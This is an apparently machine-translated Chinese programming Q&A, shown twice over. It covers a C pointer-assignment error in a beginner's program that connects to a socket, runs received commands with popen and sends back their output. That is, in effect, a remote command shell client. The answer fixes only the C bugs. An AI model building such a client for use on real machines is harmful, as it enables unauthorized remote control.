error: expression is not assignable (to part of C pointer)
error: expression is not assignable (to part of C pointer)
我收到这个错误:
error: expression is not assignable
*fullmsg+(fmsglen+10) = output;
试图将一个字符串指针分配给另一个字符串指针的一部分。为什么会发生这种情况,我该如何解决?这是完整的代码:
int main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(4583);
server.sin_family = AF_INET;
connect(sock, (struct sockaddr *) &server, sizeof(server));
char* fullmsg = (char *) malloc(10010);
char* command = (char *) malloc(75);
int commandlen;
char* output = (char *) malloc (5000);
int fmsglen = 0;
while (1){
recv(sock, command, 75, 0);
commandlen = strlen(command);
if (*command == 'c' && *command+1 == 'd'){
command[commandlen-1] = '[=11=]';
int stat = chdir(command+3);
if (stat != 0){
output = strerror(errno);
send(sock, output, 5000, 0);
} else {
send(sock, 0, 0, 0);
}
} else{
FILE * cmd = popen(command, "r");
while (fgets(output, 5000, cmd) != NULL){
*fullmsg+(fmsglen+10) = output;
fmsglen = strlen(fullmsg);
}
sprintf(&fullmsg, "%10lu", strlen(fullmsg));
send(sock, fullmsg, 10010, 0);
pclose(cmd);
}
}
free(output);
free(command);
free(fullmsg);
return 0;
}
感谢所有帮助(我知道这可能是一个容易修复的错误,但我对 C 还比较陌生)
在此声明中
*fullmsg+(fmsglen+10) = output;
在赋值的左侧,使用了一个 int 类型的值。您不能将一个值分配给另一个值。此外,在右侧有一个 char * 类型的对象。所以无论如何这个赋值是没有意义的。
即使你将语句重写为
fullmsg+(fmsglen+10) = output;
然而,在左侧将有一个可能无法分配的值。
你的意思好像是下面这样
strcpy( fullmsg + fmsglen + 10, output );
也就是你要将指针output
指向的字符串复制到指针fullmsg
指向的字符数组中,给定偏移量fmsglen + 10
.
而且似乎不是这个 if 语句
if (*command == 'c' && *command+1 == 'd'){
你是说这句话
if (*command == 'c' && *( command + 1 ) == 'd'){
而这个循环即使你会使用标准的C函数strcpy来复制字符串
while (fgets(output, 5000, cmd) != NULL){
strcpy( fullmsg + fmsglen + 10, output );
fmsglen = strlen(fullmsg);
}
不正确,因为您可以多次将 10 添加到结果字符串的长度。
还有这个声明
sprintf(&fullmsg, "%10lu", strlen(fullmsg));
至少应该改写成
sprintf( fullmsg, "%10zu", strlen( fullmsg ) );
但这也是错误的,因为调用在 fullmsg
的开头放置了一个表示表达式 strlen( fullmsg )
值的字符串(以零结尾)。您需要一个大小为 11 字节的单独字符串,用于调用 sprintf
将值转换为字符串,然后您可以使用函数 memcpy
将此字符串复制到fullmsg
指向的字符串。
我收到这个错误:
error: expression is not assignable
*fullmsg+(fmsglen+10) = output;
试图将一个字符串指针分配给另一个字符串指针的一部分。为什么会发生这种情况,我该如何解决?这是完整的代码:
int main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(4583);
server.sin_family = AF_INET;
connect(sock, (struct sockaddr *) &server, sizeof(server));
char* fullmsg = (char *) malloc(10010);
char* command = (char *) malloc(75);
int commandlen;
char* output = (char *) malloc (5000);
int fmsglen = 0;
while (1){
recv(sock, command, 75, 0);
commandlen = strlen(command);
if (*command == 'c' && *command+1 == 'd'){
command[commandlen-1] = '[=11=]';
int stat = chdir(command+3);
if (stat != 0){
output = strerror(errno);
send(sock, output, 5000, 0);
} else {
send(sock, 0, 0, 0);
}
} else{
FILE * cmd = popen(command, "r");
while (fgets(output, 5000, cmd) != NULL){
*fullmsg+(fmsglen+10) = output;
fmsglen = strlen(fullmsg);
}
sprintf(&fullmsg, "%10lu", strlen(fullmsg));
send(sock, fullmsg, 10010, 0);
pclose(cmd);
}
}
free(output);
free(command);
free(fullmsg);
return 0;
}
感谢所有帮助(我知道这可能是一个容易修复的错误,但我对 C 还比较陌生)
在此声明中
*fullmsg+(fmsglen+10) = output;
在赋值的左侧,使用了一个 int 类型的值。您不能将一个值分配给另一个值。此外,在右侧有一个 char * 类型的对象。所以无论如何这个赋值是没有意义的。
即使你将语句重写为
fullmsg+(fmsglen+10) = output;
然而,在左侧将有一个可能无法分配的值。
你的意思好像是下面这样
strcpy( fullmsg + fmsglen + 10, output );
也就是你要将指针output
指向的字符串复制到指针fullmsg
指向的字符数组中,给定偏移量fmsglen + 10
.
而且似乎不是这个 if 语句
if (*command == 'c' && *command+1 == 'd'){
你是说这句话
if (*command == 'c' && *( command + 1 ) == 'd'){
而这个循环即使你会使用标准的C函数strcpy来复制字符串
while (fgets(output, 5000, cmd) != NULL){
strcpy( fullmsg + fmsglen + 10, output );
fmsglen = strlen(fullmsg);
}
不正确,因为您可以多次将 10 添加到结果字符串的长度。
还有这个声明
sprintf(&fullmsg, "%10lu", strlen(fullmsg));
至少应该改写成
sprintf( fullmsg, "%10zu", strlen( fullmsg ) );
但这也是错误的,因为调用在 fullmsg
的开头放置了一个表示表达式 strlen( fullmsg )
值的字符串(以零结尾)。您需要一个大小为 11 字节的单独字符串,用于调用 sprintf
将值转换为字符串,然后您可以使用函数 memcpy
将此字符串复制到fullmsg
指向的字符串。